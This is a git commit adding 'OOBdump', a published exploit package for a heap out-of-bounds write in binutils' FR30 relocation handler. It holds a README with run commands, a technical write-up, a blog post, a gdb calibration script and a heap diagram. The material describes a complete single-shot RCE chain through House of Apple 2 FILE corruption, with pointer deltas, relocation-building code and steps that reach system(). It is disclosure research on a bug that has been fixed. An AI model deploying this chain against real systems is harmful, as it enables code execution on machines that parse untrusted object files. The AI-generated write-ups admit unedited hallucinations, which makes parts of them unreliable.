Add OOBDump

This commit is contained in:
Thai Duong
2026-06-08 16:06:30 +02:00
parent 62d0d1bf77
commit 82ccb718dc
21 changed files with 1383 additions and 0 deletions
+1
View File
@@ -35,3 +35,4 @@ The write-ups and PoCs in this series are AI-generated and human-verified. We ke
* 2026-05-07: [CVE-2026-7270: FreeBSD Local Privilege Escalation via execve](freebsd-CVE-2026-7270)
* 2026-05-28: [An AI Audit of FreeBSD: 15 kernel bugs, including 3 RCEs, 5 LPEs, and a bhyve escape](freebsd)
* 2026-06-02: [Codex Discovered a Hidden HTTP/2 Bomb](http2-bomb)
* 2026-06-08: [OOBdump: Relocation Oriented Programming](oobdump)
+4
View File
@@ -0,0 +1,4 @@
files
__pycache__
build
.DS_Store
+28
View File
@@ -0,0 +1,28 @@
# OOBdump: Relocation Oriented Programming
A missing bounds check in BFD's FR30 relocation handler (`fr30_elf_i32_reloc`, `bfd/elf32-fr30.c`) gives an out-of-bounds heap write when `objdump -g` parses a crafted FR30 ELF object file. We turn that single primitive into a 100% reliable, single-shot RCE that defeats ASLR, PIE, and heap hardening with no information leak, using a [House of Apple 2](blog.md) FSOP chain.
The bug only affects builds that enable the FR30 backend (`--enable-targets=all` and friends). Per the binutils security policy, issues in rarely-built targets like this are disclosed publicly rather than treated as embargoed vulnerabilities. We followed that process, and the issue was fixed promptly.
| File | What |
|---|---|
| [`blog.md`](blog.md) | Blog post |
| [`WRITEUP.md`](WRITEUP.md) | Technical write-up (AI-generated) |
| [`solve_rce.py`](solve_rce.py) | PoC: builds the malicious FR30 ELF object |
| [`calibrate.py`](calibrate.py) | Helper that auto-calibrates the heap offsets via gdb |
| [`poc_rce.bin`](poc_rce.bin) | Prebuilt malicious object file |
| `objdump` | The vulnerable `--enable-targets=all` build used for testing |
## Running the exploit
```bash
# Build the exploit ELF
python3 -c "import solve_rce; open('poc_rce.bin','wb').write(solve_rce.build('local'))"
# Trigger RCE
./objdump -g poc_rce.bin
```
## A note on the artifacts
The write-ups and PoCs in this series are AI-generated and human-verified. We keep human editing to a minimum so the artifacts document the current state of the art, which means we don't edit out hallucinations or slop. We do verify that the PoCs work. The blog posts are written by humans.
+138
View File
@@ -0,0 +1,138 @@
# Heap-Buffer-Overflow RCE in objdump via FR30 ELF Relocations
## Summary
A heap-buffer-overflow WRITE vulnerability in BFD's `fr30_elf_i32_reloc()` function allows arbitrary code execution when `objdump -g` processes a crafted FR30 ELF32 relocatable file. The exploit achieves 100% reliable RCE with full ASLR enabled, using 0 bits of entropy (no brute-forcing).
**Affected function:** `bfd/elf32-fr30.c:309` in GNU Binutils
**Platform:** aarch64 / Ubuntu 24.04 / glibc 2.39
**Mitigations bypassed:** Full RELRO, PIE, ASLR, NX, glibc vtable checks
## The Vulnerability
In `fr30_elf_i32_reloc()`, the relocation handler writes a 4-byte value at an attacker-controlled offset from the section data buffer with no bounds checking:
```c
// elf32-fr30.c:309
bfd_put_32(abfd, srel, (bfd_byte *) data + octets);
// where octets = reloc_entry->address + 2
// and srel = symbol->value + reloc_entry->addend
```
Both `reloc_entry->address` (the offset) and `srel` (the value) are fully controlled from the ELF file's relocation entries and symbol table. This gives us an arbitrary 4-byte write primitive relative to the `.debug_info` heap buffer.
## Exploit Architecture
The exploit uses three complementary primitives built from the OOB write:
### Primitive 1: Wrapping Writes (negative offsets)
The arelent struct's `address` field is 64-bit on the host but populated from a 32-bit ELF r_offset. By using earlier relocations to write `0xFFFFFFFF` into the upper 32 bits of a later arelent's address field, we can create wrapping addresses that reach heap memory *before* the data buffer. This lets us write to the BFD struct (at a constant negative offset from data).
### Primitive 2: Byte-Order Switch
The BFD struct's `xvec` pointer determines byte order for `bfd_put_32`. A 2-byte partial overwrite of xvec's lower 16 bits (0 entropy due to 64KB PIE alignment) redirects it from the FR30 target vector to a little-endian target vector at a known offset in `.data.rel.ro`. All subsequent writes use LE byte order, matching the host's native format.
### Primitive 3: Partial-Inplace (PI) Relocations
By overwriting the lower 16 bits of an arelent's `howto` pointer, we redirect it from the FR30 howto table to the **`R_386_PC32`** entry in the i386 `elf_howto_table` (`elf32-i386.c`), which sits at a nearby address in `.data.rel.ro` (lower 16 bits = `0xb820`). This howto has `partial_inplace=1`, `pc_relative=1`, `pcrel_offset=1`, and `src_mask=dst_mask=0xFFFFFFFF`.
When `bfd_perform_relocation` processes a relocation with this howto, it computes a delta from the symbol value and relocation address, then calls `apply_reloc` (`bfd/reloc.c:612`):
```c
static void
apply_reloc (bfd *abfd, bfd_byte *data, reloc_howto_type *howto,
bfd_vma relocation)
{
bfd_vma val = read_reloc (abfd, data, howto); // read existing 32-bit value
val = ((val & ~howto->dst_mask)
| (((val & howto->src_mask) + relocation) & howto->dst_mask));
write_reloc (abfd, val, data, howto); // write result back
}
```
With `src_mask = dst_mask = 0xFFFFFFFF`, this simplifies to `val = read_32(target) + delta; write_32(target, val)` — a read-modify-write that adds an attacker-controlled constant to whatever value is already in memory. This is the pointer-arithmetic primitive: it adjusts existing heap pointers by constant deltas without knowing their absolute addresses.
Since PI preserves the upper 32 bits of a 64-bit pointer while adding a 32-bit delta to the lower 32, we can adjust any pointer within its ASLR region:
- **libc pointers** on the heap (e.g., FILE `__pad5` = `&_IO_list_all`) can be PI-adjusted to `system()` using the constant delta `system - &_IO_list_all`.
- **Heap pointers** (e.g., FILE `_lock`, `_wide_data`) can be PI-adjusted to point to fake structures at known heap offsets.
## The House of Apple 2 Chain
The FSOP target is the `FILE` struct at `abfd->iostream` — a standard glibc `FILE` allocated on the heap by `fopen()` during `bfd_fopen()` (`bfd/opncls.c:259`). It sits at a constant offset (`+160` bytes) after the `.debug_info` data buffer in the heap layout, making it reachable via the OOB write primitive. The exploit corrupts this FILE struct using FR30 OOB writes and PI relocations to set up a House of Apple 2 attack:
### Fake Structure Layout
```
fake_wide_data (fp-88) fake_vtable (fp+80) FILE struct (fp)
+0: _IO_read_ptr = ? +0: 0 (lock word) +0: " (gnome-calculator&)"
+24: _IO_write_base = 0 ← key +104: system() ← PI'd +32: write_base = 1
+48: _IO_buf_base = 0 ← key +40: write_ptr = 2
+224: _wide_vtable = fp+80 ──────────────────────────────┐ +80: 0 (fake_vtable start)
↑ │ +104: _chain = 0 (zeroed)
│ PI'd from _lock │ +136: _lock → fp+80 (PI'd)
└───────── _wide_data → fp-88 (PI'd) ──────────│ +160: _wide_data → fp-88 (PI'd)
│ +184: __pad5 → system() (PI'd)
└──→ +216: vtable → _IO_wfile_jumps (PI'd)
```
### PI Relocations (4 total, all 0 entropy)
| Target | From | To | Delta |
|--------|------|----|-------|
| `fp+216` (vtable) | `_IO_file_jumps` | `_IO_wfile_jumps` | +504 (constant in libc) |
| `fp+136` (_lock) | lock object | `fp+80` (fake vtable) | `(IO+80) - LV` (constant heap delta) |
| `fp+160` (_wide_data) | wide_data struct | `fp-88` (fake wide_data) | `(IO-88) - WV` (constant heap delta) |
| `fp+184` (__pad5) | `&_IO_list_all` | `system()` | `DS + 8` (constant libc delta) |
### The Trigger
1. The exploit sets `iostream = NULL` via wrapping write to the BFD struct, preventing `fclose()` during `bfd_close()`. The FILE remains linked in `_IO_list_all`.
2. During `exit()`, glibc's `_IO_cleanup()` calls `_IO_flush_all_lockp()`, which iterates `_IO_list_all`.
3. Our FILE has `write_ptr (2) > write_base (1)``_IO_OVERFLOW(fp, EOF)` is called.
4. The vtable was PI'd to `_IO_wfile_jumps` (passes glibc's vtable validation since it's within `__libc_IO_vtables`), so `__overflow` dispatches to `_IO_wfile_overflow()`.
5. `_IO_CURRENTLY_PUTTING` is set (byte 1 of flags = `'('` = 0x28, bit 3 = 1), so the code checks `wide_data->_IO_write_base`:
```asm
ldr x1, [x4, #24] ; x1 = wide_data->_IO_write_base
tbnz w0, #11, +200 ; PUTTING set → jump
cbnz x1, +124 ; if write_base != 0 → skip (!)
; fall through to _IO_wdoallocbuf...
```
6. `_IO_write_base = 0` (at `fp-88+24`, zeroed/stable) → falls through.
7. `_IO_wdoallocbuf()` checks `_IO_buf_base == NULL` (at `fp-88+48`, zeroed) → calls `_IO_WDOALLOCATE(fp)`.
8. `_IO_WDOALLOCATE` reads from the **unchecked** `_wide_vtable->__doallocate` (at fake_vtable+104 = `fp+184` = `system()`).
9. **`system(fp)`** is called with `fp` pointing to the command string `" (gnome-calculator&)"`.
### The dsz=144 Trick
The most subtle part of the exploit is choosing `debug_info_size = 144` bytes for the `.debug_info` section. This shifts the heap layout so that the fake `_wide_data` fields at `fp-88+24` (write_base) and `fp-88+48` (buf_base) land in memory that remains zero through the exit trigger.
With the default `dsz=48`, a 64-byte chunk immediately before the FILE struct gets freed during BFD cleanup, and glibc's tcache writes a `PROTECT_PTR` fd pointer over `write_base`, making it non-zero and blocking the chain. With `dsz=144`, the heap geometry shifts enough that these fields avoid all freed-chunk metadata and locale string allocations that occur between relocation processing and the exit flush.
## Flag Byte Constraints
The FILE `_flags` field (first 4 bytes at `fp`) doubles as the shell command string. The following glibc flag bits must be satisfied:
| Bit | Flag | Required | Constraint on command byte |
|-----|------|----------|---------------------------|
| 1 | `_IO_UNBUFFERED` | 0 | byte[0] bit 1 clear: `' '`(0x20) works |
| 3 | `_IO_NO_WRITES` | 0 | byte[0] bit 3 clear: `' '`(0x20) works |
| 11 | `_IO_CURRENTLY_PUTTING` | 1 | byte[1] bit 3 set: `'('`(0x28) works |
The pattern `" (cmd)"` satisfies all constraints while being a valid shell command (runs `cmd` in a subshell).
## Running the Exploit
```bash
# Build the exploit ELF
python3 -c "import solve_rce; open('poc_rce.bin','wb').write(solve_rce.build('local'))"
# Trigger RCE (pops gnome-calculator)
./objdump -g poc_rce.bin
```
## Reliability
- **ASLR:** 0 entropy. All pointer adjustments use constant deltas within the same ASLR region (libc→libc or heap→heap). The xvec partial overwrite has 0 entropy due to 64KB PIE page alignment.
- **Success rate:** 100% (20/20 in testing with ASLR enabled, both pipe and TTY modes).
- **No assumptions:** The exploit does not require any files to exist on the filesystem. The entire payload is self-contained in the crafted ELF.
+226
View File
@@ -0,0 +1,226 @@
# OOBdump: Relocation Oriented Programming
We have a thing for [finding bugs in bug finding tools](https://blog.calif.io/p/mad-bugs-all-your-reverse-engineering). IDA Pro, Ghidra, Binja Sidekick, or radare2. You name it we hacked it. Our friends are saying we should try objdump next. So here we go.
Demo video: https://www.youtube.com/watch?v=plH31xVbGtE
`objdump -g` should be boring. It reads an object file, prints debug information, and exits. But with the right FR30 object file, it can be persuaded to execute arbitrary code.
The bug is a missing bounds check in the FR30 relocation handler. Pretty boring by today's standards. What's cool is how we turned this simple heap OOB into an exploit that defeats ASLR, PIE, and heap hardening mitigations with just a single crafted input.
The bug only affected a rare build configuration of objdump. The security policy of binutils, the parent project, explicitly excludes issues of this kind from being treated as security vulnerabilities, and instead requires them to be disclosed publicly. We followed that process, and the issue was fixed promptly.
The exploit itself is beautiful. It is rare to see a heap overflow that can be exploited in a true single shot while still defeating ASLR.
## The forgotten target
FR30 is a Fujitsu embedded RISC core from the late 1990s, part of the proprietary 32-bit [FR family](https://en.wikipedia.org/wiki/Fujitsu_FR). Binutils still ships support for it, but stock host-focused `objdump` builds usually do not enable that backend. The realistic exposure is custom or multi-target builds: `--enable-targets=all`, an explicit `fr30-*-elf` target, SDK toolchains, CI images, and binary-analysis environments that want one tool to recognize everything.
## Why relocate?
You might be wondering why `objdump` needs to perform relocations on the input object. Why can't it just read and print the bytes as-is?
The FR30 file in the exploit is a relocatable object file, not a finished executable. The C compiler emits one object file (`.o`) for each source file, and the linker later combines them into an executable. Since the compiler doesn't know where each section will land in the final program, it leaves placeholder values and records relocations that mark which spots to patch. Debug sections work the same way, and those are what `objdump -g` reads.
In this example, the `.debug_addr` section has a header followed by two zero placeholder entries for code addresses:
```
.debug_addr
offset 0x00: header
offset 0x08: address slot 0 = 0x0
offset 0x10: address slot 1 = 0x0
```
That changes when the corresponding relocation section (`.rela.debug_addr`) is processed:
```
.rela.debug_addr:
offset 0x08 -> .text
offset 0x10 -> .text + 0x10
```
In the normal build process, a linker looks at the relocation section and applies the patches to the binary it produces.
But `objdump -g` runs on the original object file, with no linker around to do the patching. That job falls to binutils' Binary File Descriptor (BFD) library, which is where our bug lives.
The relocation above is simple, but real relocation formats are far more varied. Each architecture defines its own relocation types and how they're applied, which makes this a particularly bug-prone area for a multi-target library like BFD.
## The missing check
Anthropic discovered this bug and shared it with us.
FR30's `R_FR30_48` relocation handler is `fr30_elf_i32_reloc` in [`bfd/elf32-fr30.c`](https://sourceware.org/git/?p=binutils-gdb.git;a=blob;f=bfd/elf32-fr30.c;hb=7565cfd7ad2edc1f4ba6c88c6af86e78856c5b3f):
```c
typedef uint64_t bfd_vma;
static bfd_reloc_status_type
fr30_elf_i32_reloc (bfd *abfd, arelent *reloc_entry,
asymbol *symbol,
void *data, asection *input_section, ...)
{
/* first three terms = virtual (mapped) address of the symbol (eg .text) */
bfd_vma relocation = symbol->value
+ symbol->section->output_section->vma
+ symbol->section->output_offset
// addend, or offset from the base symbol
+ reloc_entry->addend;
/* bfd_put_32 (bfd *abfd, bfd_vma value_to_write, void *destination_pointer) */
bfd_put_32 (abfd, relocation, (char *) data + reloc_entry->address + 2);
return bfd_reloc_ok;
}
```
The function first calculates `relocation`, the value to be written. The attacker controls the symbol and addend terms, and the section state is predictable here, so we control what gets written.
It then calls `bfd_put_32` to apply the patch. The write lands in `data`, the heap buffer that holds the target section's contents. In our exploit, that section is `.debug_info`.
Its offset comes straight from `reloc_entry->address`, plus two bytes to skip the 16-bit instruction prefix. Nothing checks that offset against the buffer size. Since we control both the value and the offset, an out-of-bounds write is trivial.
The handler runs once for every relocation entry, and we can add as many entries as we like, so one file gives us as many writes as we want.
We use `.debug_info` because objdump's DWARF reader loads and relocates it before parsing the DWARF inside. The section can be all zeros and every write still fires.
## The heap layout
While the OOB write is powerful, two obstacles still stand in our way:
1. We can only modify memory at a higher address than the `data` buffer, because the write lands at `data + r_offset + 2` and `r_offset` is an unsigned offset that only ever reaches forward.
2. We have no information leak, so the PIE and libc bases stay hidden behind ASLR.
Fortunately, `data` is not alone on the heap. Two nearby objects give us what we need.
The first is the `bfd` struct, the handle BFD allocates when it opens the object file. It holds important fields that steer everything BFD does, including `xvec` (the pointer to the `bfd_target` struct, which is full of juicy function pointers) and `iostream` (the pointer to the open `FILE` struct). That makes it a valuable target, but it sits 8400 bytes before `data`, so our forward-only write cannot reach it yet.
The second is the `arelent` array, the in-memory form of the file's relocation records. It sits 47440 bytes after `data` in a separate allocation, within reach of the forward write. Each `objdump -g` run allocates the same chunks in the same order, so these distances are deterministic.
![The heap around the .debug_info buffer](img/heap-map.png)
The exploit clears both obstacles in order.
## Step 1: wrap the offset
The on-disk FR30 relocation offset is 32 bits, but BFD expands it into a 64-bit `arelent.address`:
```c
typedef struct reloc_cache_entry {
asymbol **sym_ptr_ptr; // +0
bfd_vma address; // +8 <- 64-bit
bfd_vma addend; // +16
reloc_howto_type *howto; // +24
} arelent; // 32 bytes on aarch64
```
Because the `arelent` array sits at a positive, known offset `R` from `data`, one relocation can edit a later one. If relocation `n` writes `0xFFFFFFFF` into the high dword of relocation `n+1`'s `address`, then relocation `n+1` evaluates `data + 0xFFFFFFFF_xxxxxxxx + 2`, which wraps below `data` in 64-bit pointer arithmetic.
This allows us to perform a backwards write with two relocations:
```python
def write_backward(target, value):
"""Write `value` at a negative offset from data (a backward write)."""
next_index = len(relocations) + 1
# sizeof entry is 32 bytes, high bytes of address field is at offset 12
address_hi = R + next_index * 32 + 12
relocations.append((address_hi - 2, 0xFFFFFFFF))
relocations.append(((target - 2) & 0xFFFFFFFF, value))
```
![Wrapping a 64-bit arelent address to reach memory before the buffer](img/wrapping-write.gif)
## Step 2: flip byte order
The exploit is non-interactive: `objdump -g` runs on one file and returns nothing. With no leak, we never learn a heap or libc address, so we can't write an absolute pointer. Instead, we will turn the OOB write into an OOB increment, editing pointers in place without knowing their value.
This takes two changes:
1. Flip `bfd_put_32` from big-endian to little-endian. aarch64 is little-endian, so a big-endian write-back would corrupt the pointer instead of adjusting it. (this section)
2. Borrow an in-place relocation type from another backend, which gives the read-add-write increment. (Step 3)
Both rely on the same move. The objdump PIE image loads on a 64KB boundary, so the low 16 bits of any in-binary pointer are fixed under ASLR. Overwrite those two bytes and we redirect a pointer to another object in the same page, with zero guessing required. Since the OOB write modifies 32 bits at a time, we clobber two bytes of the previous field. In the places we use this, those bytes do not matter.
For the first change, we alter how `bfd_put_32` encodes bytes. `bfd_put_32` is a macro that dispatches through the function pointer `abfd->xvec->bfd_putx32`, which decides whether the write goes out little- or big-endian.
Luckily for us, the `bfd_target` structs that can be assigned to `abfd->xvec` all sit together in `.data.rel.ro`. This build has nine little-endian `bfd_target`s in the same 64KB page as FR30's vector. Any of them would do, but `crx_elf32_vec` sits first in the page at `0x00b0`, so we went with it.
![A 2-byte write retargets xvec's low 2 bytes from the FR30 vector to the little-endian CRX vector](img/xvec-switch.gif)
## Step 3: borrow a better relocation
Step 2 changed how BFD writes bytes. In Step 3, we need to change the type of relocations available to us.
The same partial overwrite works here, just aimed at a different pointer. Each `reloc_cache_entry` has a `howto` pointer (a `reloc_howto_type *`) that describes how to apply that one relocation: its width, where it writes, and the handler that performs it.
Just like the `bfd_target` vectors, the backends' `reloc_howto_type` tables all live together in `.data.rel.ro`, so it just takes a single 2-byte write to switch `howto` from one to another.
The `R_386_PC32` relocation type from i386 gives us exactly what we want. It has `partial_inplace` set, which makes BFD add to the value already in the target instead of overwriting it:
```c
bfd_vma val = read_reloc (abfd, data, howto);
val = val + relocation;
write_reloc (abfd, val, data, howto);
```
Now, the only problem is that the relocation handlers for i386 actually perform the range check that the original vulnerable code was missing. Therefore, our OOB writes will be rejected once we switch to this handler.
There's a simple fix though: since the section size information is located on the heap, and we have a heap OOB write, we can just artificially increase the section size to bypass the checks.
## Step 4: rewrite the FILE (House of Apple 2)
OK, so we've upgraded our heap OOB write to an OOB increment. Now what?
Remember the `FILE* iostream` field of the `bfd` struct we briefly introduced earlier? It turns out that this `FILE` struct is actually allocated on the heap!
This means we can use our OOB increment primitive to modify selected fields within the `FILE` struct and thus achieve code execution using a file stream oriented programming (FSOP) technique known as [House of Apple 2](https://jia.je/ctf-writeups/2025-09-07-blackhat-mea-ctf-quals-2025/file101.html).
It turns out that only 4 OOB increments are required:
```python
pi_relocs = [
(IO + 216, DW), # _IO_file_jumps -> _IO_wfile_jumps
(IO + 184, DS + 8), # &_IO_list_all -> system
(IO + 136, (IO + 80) - LV), # _lock -> fp+80
(IO + 160, (IO - 88) - WV), # _wide_data -> fp-88
]
```
The first two retarget libc pointers already in the FILE, while the other two modify heap pointers. Since the libc and heap layouts are constant, this operation is completely deterministic and reliable.
![Corrupting the FILE with four PI relocations](img/house-of-apple.png)
The `_lock` and `_wide_data` moves hide a trick. We point `_wide_data` at `fp-88`, so its `_wide_vtable` field (offset 224) lands on the FILE's own `_lock` at `fp+136`.
![_wide_data overlaps the FILE so _wide_vtable and _lock share one slot](img/wide-overlap.png)
Those two fields now share the same heap pointer. Set it to `fp+80` and `_lock` gets a zero lock word, while `_wide_vtable` gets the fake vtable whose `__doallocate` is `system`.
Why bother with the overlap? Every value we produce is an existing pointer nudged by a constant, so we cannot conjure two unrelated heap addresses out of thin air, one for `_lock` and one for `_wide_vtable`. So we make the layout need only one. Choosing `fp-88` drops `_wide_vtable` exactly onto `_lock`, and that single nudged pointer does both jobs.
Other direct OOB writes fill in the required `FILE` state: `write_ptr > write_base`, fake wide-data fields, the command string in `_flags`.
One last write sets `abfd->iostream = NULL` so `bfd_close` skips `fclose` and leaves the FILE linked in `_IO_list_all`.
On `exit()`, glibc walks `_IO_list_all` and reaches the corrupted FILE. The narrow flush check (`_mode <= 0 && write_ptr > write_base`) selects it for flushing, but because the vtable now points at `_IO_wfile_jumps`, `_IO_OVERFLOW` dispatches into the *wide* handler `_IO_wfile_overflow`, which reaches `_IO_wdoallocbuf` and calls through the fake wide vtable. The `__doallocate` slot has been OOB-incremented to `system`, so the call becomes `system(fp)`, running the command we planted at the start of the `FILE` struct.
One final detail: we size `.debug_info` to 144 bytes. Smaller layouts put tcache metadata over fake `_wide_data` fields that must stay zero, disrupting the exploit.
## The fix
The upstream fix adds the bounds check the handler should have performed itself. Before writing, the FR30 handlers now validate the offset and reject anything past the section:
```diff
+ if (reloc_entry->address + 2 < 2
+ || !bfd_reloc_offset_in_range (reloc_entry->howto, abfd,
+ input_section, reloc_entry->address + 2))
+ return bfd_reloc_outofrange;
```
The check is against `reloc_entry->address + 2`, the real write offset, with a guard against overflow. With it in place, the crash PoC makes `objdump` reject the relocation and exit cleanly instead of writing out of bounds.
## The lesson
We never really beat ASLR, PIE, or the heap hardening so much as avoided giving them anything to defend. Because nothing in the chain depended on an absolute address, there was never a leak to chase or a base to guess, and the `xvec` and `howto` swaps only had to touch the low bits that 64KB alignment already pins down.
The pointer arithmetic, in turn, only nudged existing pointers by constant deltas within their own region, so libc pointers stayed in libc and heap pointers stayed on the heap. Where a normal exploit would forge new structures out of leaked addresses, we just reused the ones already lying nearby.
Mitigations like these are built to be fought head-on and tend to win that fight. But we declined to fight and just routed around them instead. The irony is that the machinery doing the routing is BFD's own relocation engine, the same kind of machinery that enables ASLR and PIE to work in the first place.
AI-generated PoCs and writeups: https://github.com/califio/publications/tree/main/MADBugs/oobdump.
+45
View File
@@ -0,0 +1,45 @@
#!/usr/bin/env python3
"""Auto-calibrate R and other heap offsets for solve_rce."""
import subprocess, re, sys
OBJDUMP = "./objdump"
GDB_CMD = """
set pagination off
break fr30_elf_i32_reloc
run -g poc_rce.bin
printf "R=%ld IO=%ld S=%ld B=%ld LV=%ld WV=%ld\\n", (long)((unsigned long)reloc_entry-(unsigned long)data), (long)((unsigned long)abfd->iostream-(unsigned long)data), (long)((unsigned long)&input_section->size-(unsigned long)data), (long)((unsigned long)abfd-(unsigned long)data), (long)(*(unsigned long*)((char*)abfd->iostream+136)-(unsigned long)data), (long)(*(unsigned long*)((char*)abfd->iostream+160)-(unsigned long)data)
"""
def calibrate():
import solve_rce
for attempt in range(5):
elf = solve_rce.build("local")
with open("poc_rce.bin", "wb") as f:
f.write(elf)
result = subprocess.run(
["gdb", "-batch", "-nx"] + sum((["-ex", l.strip()] for l in GDB_CMD.strip().split("\n") if l.strip()), []) + [OBJDUMP],
capture_output=True, text=True, timeout=30
)
m = re.search(r"R=(\d+) IO=(\d+) S=(\d+) B=(-?\d+) LV=(\d+) WV=(\d+)", result.stdout)
if not m:
print(f"Attempt {attempt}: GDB failed")
continue
R, IO, S, B, LV, WV = [int(x) for x in m.groups()]
cur = solve_rce.PR["local"]
if cur["R"] == R and cur["IO"] == IO and cur["S"] == S:
print(f"Converged: R={R} IO={IO} S={S} B={B} LV={LV} WV={WV}")
return True
print(f"Attempt {attempt}: R={R} IO={IO} S={S} B={B} LV={LV} WV={WV}")
cur["R"] = R; cur["IO"] = IO; cur["S"] = S
cur["B"] = B; cur["LV"] = LV; cur["WV"] = WV
print("Failed to converge after 5 attempts")
return False
if __name__ == "__main__":
calibrate()
Binary file not shown.

After

Width:  |  Height:  |  Size: 67 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 138 KiB

+91
View File
@@ -0,0 +1,91 @@
<mxfile host="app.diagrams.net">
<diagram name="heap-map" id="heap-map">
<mxGraphModel dx="1414" dy="662" grid="0" gridSize="10" guides="1" tooltips="1" connect="1" arrows="1" fold="1" page="1" pageScale="1" pageWidth="540" pageHeight="520" math="0" shadow="0">
<root>
<mxCell id="0" />
<mxCell id="1" parent="0" />
<mxCell id="axis" edge="1" parent="1" style="endArrow=classic;startArrow=none;html=1;strokeColor=#9aa3af;">
<mxGeometry relative="1" as="geometry">
<mxPoint x="98" y="70" as="sourcePoint" />
<mxPoint x="98" y="482" as="targetPoint" />
</mxGeometry>
</mxCell>
<mxCell id="axis_lo" parent="1" style="text;html=1;fontSize=9;align=center;verticalAlign=middle;fontColor=#9aa3af;" value="lower&#xa;addr" vertex="1">
<mxGeometry height="22" width="40" x="64" y="60" as="geometry" />
</mxCell>
<mxCell id="axis_hi" parent="1" style="text;html=1;fontSize=9;align=center;verticalAlign=middle;fontColor=#9aa3af;" value="higher&#xa;addr" vertex="1">
<mxGeometry height="22" width="40" x="64" y="480" as="geometry" />
</mxCell>
<mxCell id="bfd" parent="1" style="swimlane;html=1;startSize=28;fontStyle=1;fontSize=12;rounded=1;fillColor=#dae8fc;strokeColor=#6c8ebf;swimlaneFillColor=#ffffff;" value="bfd struct (abfd)" vertex="1">
<mxGeometry height="80" width="280" x="140" y="72" as="geometry" />
</mxCell>
<mxCell id="bfd_xvec" parent="bfd" style="text;html=1;align=left;verticalAlign=middle;spacingLeft=16;fontSize=10;fontFamily=monospace;fillColor=#fff2cc;strokeColor=#d6b656;" value="0x08 bfd_target *xvec;" vertex="1">
<mxGeometry height="26" width="280" y="28" as="geometry" />
</mxCell>
<mxCell id="bfd_io" parent="bfd" style="text;html=1;align=left;verticalAlign=middle;spacingLeft=16;fontSize=10;fontFamily=monospace;" value="0x10 FILE *iostream;" vertex="1">
<mxGeometry height="26" width="280" y="54" as="geometry" />
</mxCell>
<mxCell id="bfd_off" parent="1" style="text;html=1;fontSize=10;align=left;verticalAlign=middle;fontFamily=monospace;fontColor=#6c8ebf;" value="data 8400" vertex="1">
<mxGeometry height="22" width="100" x="430" y="101" as="geometry" />
</mxCell>
<mxCell id="brk1" parent="1" style="text;html=1;fontSize=18;align=center;fontColor=#cbd5e1;verticalAlign=middle;" value="≈" vertex="1">
<mxGeometry height="20" width="280" x="140" y="164" as="geometry" />
</mxCell>
<mxCell id="data" parent="1" style="rounded=1;whiteSpace=wrap;html=1;fontSize=12;fontStyle=1;align=center;verticalAlign=middle;fillColor=#f8cecc;strokeColor=#b85450;" value=".debug_info buffer (char* data)" vertex="1">
<mxGeometry height="58" width="280" x="143" y="196" as="geometry" />
</mxCell>
<mxCell id="data_off" parent="1" style="text;html=1;fontSize=10;align=left;verticalAlign=middle;fontFamily=monospace;fontColor=#b85450;" value="data + 0" vertex="1">
<mxGeometry height="22" width="100" x="430" y="214" as="geometry" />
</mxCell>
<mxCell id="brk2" parent="1" style="text;html=1;fontSize=18;align=center;fontColor=#cbd5e1;verticalAlign=middle;" value="≈" vertex="1">
<mxGeometry height="20" width="280" x="140" y="266" as="geometry" />
</mxCell>
<mxCell id="arr" parent="1" style="swimlane;html=1;startSize=28;fontStyle=1;fontSize=11;rounded=1;fillColor=#e1d5e7;strokeColor=#9673a6;swimlaneFillColor=#ffffff;" value="arelent[] (relocation records)" vertex="1">
<mxGeometry height="174" width="280" x="140" y="298" as="geometry">
<mxRectangle height="28" width="173" x="140" y="298" as="alternateBounds" />
</mxGeometry>
</mxCell>
<mxCell id="arr_n" parent="arr" style="text;html=1;align=left;verticalAlign=middle;spacingLeft=10;fontSize=10;fontStyle=1;fillColor=#f3eefb;strokeColor=#9673a6;" value="arelent[n] (32 bytes)" vertex="1">
<mxGeometry height="22" width="280" y="28" as="geometry" />
</mxCell>
<mxCell id="arr_f0" parent="arr" style="text;html=1;align=left;verticalAlign=middle;spacingLeft=16;fontSize=10;fontFamily=monospace;" value="0x00 asymbol **sym_ptr_ptr;" vertex="1">
<mxGeometry height="26" width="280" y="50" as="geometry" />
</mxCell>
<mxCell id="arr_f1" parent="arr" style="text;html=1;align=left;verticalAlign=middle;spacingLeft=16;fontSize=10;fontFamily=monospace;fillColor=#fff2cc;strokeColor=#d6b656;" value="0x08 bfd_vma address;" vertex="1">
<mxGeometry height="26" width="280" y="76" as="geometry" />
</mxCell>
<mxCell id="arr_f2" parent="arr" style="text;html=1;align=left;verticalAlign=middle;spacingLeft=16;fontSize=10;fontFamily=monospace;" value="0x10 bfd_vma addend;" vertex="1">
<mxGeometry height="26" width="280" y="102" as="geometry" />
</mxCell>
<mxCell id="arr_f3" parent="arr" style="text;html=1;align=left;verticalAlign=middle;spacingLeft=16;fontSize=10;fontFamily=monospace;fillColor=#fff2cc;strokeColor=#d6b656;" value="0x18 reloc_howto_type *howto;" vertex="1">
<mxGeometry height="26" width="280" y="128" as="geometry" />
</mxCell>
<mxCell id="arr_more" parent="arr" style="text;html=1;align=center;verticalAlign=middle;fontSize=14;fontColor=#9673a6;" value="⋯" vertex="1">
<mxGeometry height="20" width="280" y="154" as="geometry" />
</mxCell>
<mxCell id="arr_off" parent="1" style="text;html=1;fontSize=10;align=left;verticalAlign=middle;fontFamily=monospace;fontColor=#9673a6;" value="data + 47440" vertex="1">
<mxGeometry height="22" width="100" x="430" y="374" as="geometry" />
</mxCell>
<mxCell id="oob1" edge="1" parent="1" source="data" style="edgeStyle=orthogonalEdgeStyle;rounded=0;html=1;dashed=1;strokeColor=#b85450;strokeWidth=1.5;endArrow=classic;startArrow=none;exitX=0;exitY=0.6;exitDx=0;exitDy=0;entryX=0;entryY=0.5;entryDx=0;entryDy=0;" target="arr_f1">
<mxGeometry relative="1" as="geometry">
<Array as="points">
<mxPoint x="120" y="231" />
<mxPoint x="120" y="387" />
</Array>
</mxGeometry>
</mxCell>
<mxCell id="oob2" edge="1" parent="1" source="data" style="edgeStyle=orthogonalEdgeStyle;rounded=0;html=1;dashed=1;strokeColor=#b85450;strokeWidth=1.5;endArrow=classic;startArrow=none;exitX=0;exitY=0.85;exitDx=0;exitDy=0;entryX=0;entryY=0.5;entryDx=0;entryDy=0;" target="arr_f3">
<mxGeometry relative="1" as="geometry">
<Array as="points">
<mxPoint x="110" y="245" />
<mxPoint x="110" y="439" />
</Array>
</mxGeometry>
</mxCell>
